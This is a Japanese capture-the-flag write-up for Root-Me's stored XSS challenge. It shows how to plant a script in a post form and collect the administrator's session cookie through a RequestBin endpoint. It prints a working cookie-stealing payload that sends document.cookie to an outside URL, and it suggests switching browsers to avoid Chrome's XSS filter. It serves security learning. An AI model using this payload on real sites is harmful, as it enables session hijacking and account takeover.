rootme: XSS - Stored 1 writeup(Japanese)
Statement Steal the administrator session cookie and use it to validate this chall.
URL:
https://www.root-me.org/en/Challenges/Web-Client/XSS-Stored-1
この問題は、Stored XSS脆弱性によって他人のクッキーを盗む過程を実際に体験できる良問です。
投稿フォームに適当に投稿すると、投稿内容が下に表示されます。
XSS脆弱性が発生する箇所は早速見つかりました。
投稿タイトルの下に投稿内容の部分がXSSにひっかかるようです。
ちなみに両方の入力欄にXSSペイロードを入れるとXSSが動作しなくなります。
Web管理者のクッキーを盗むわけですので、Web管理者がStored XSSコードを注入されたサイトにアクセスしないとクッキーを盗むことができません。
それで我々が考えられるのは、
この問題で用意された管理者サーバから定期的にこのサイトにアクセスしているかもしれません。
アクセスごとに埋め込むコードを自動的に実行させるには、imgタグにjavascriptを使うと便利です。
つまり、imgタグ(悪意URL+クッキー)によって悪意のURLにクッキー情報を含んだリクエストを送り、
その悪意のURLを管理しているサーバのログからクッキー情報を取り出します。
しかし、わざわざこの攻撃のために皆さんにWebサイトを開設させる必要はありません。
Webサイトのドメインを生成し、リクエストの内容をリアルタイムで監視できるサービスがあります。
ここで紹介するのは、「Requestbin」というサービスです。
Webドメインの作り方は簡単で、1つのボタンをクリックするだけで完成です。
「Create a Request Bin」ボタンをクリックし、自動的に管理画面に入ります。
とりあえずコピーして投稿欄にペーストします。
Payload
<script>document.write("<img src='あなたのサイトURL?="+document.cookie+"';>")</script>
Payloadを投稿欄に入力し終わると、sendボタンを押します。投稿が成功すると、投稿された内容は以下のように表示されます。 (ChromeはXSS保護機能があるので、投稿できません。おすすめはMicrosoft Edgeなど)
しばらく経つと、Requestbinの管理ページにADMIN_COOKIEを含むリクエストログ情報が届きます。
ADMIN_COOKIEの中身がフラグです。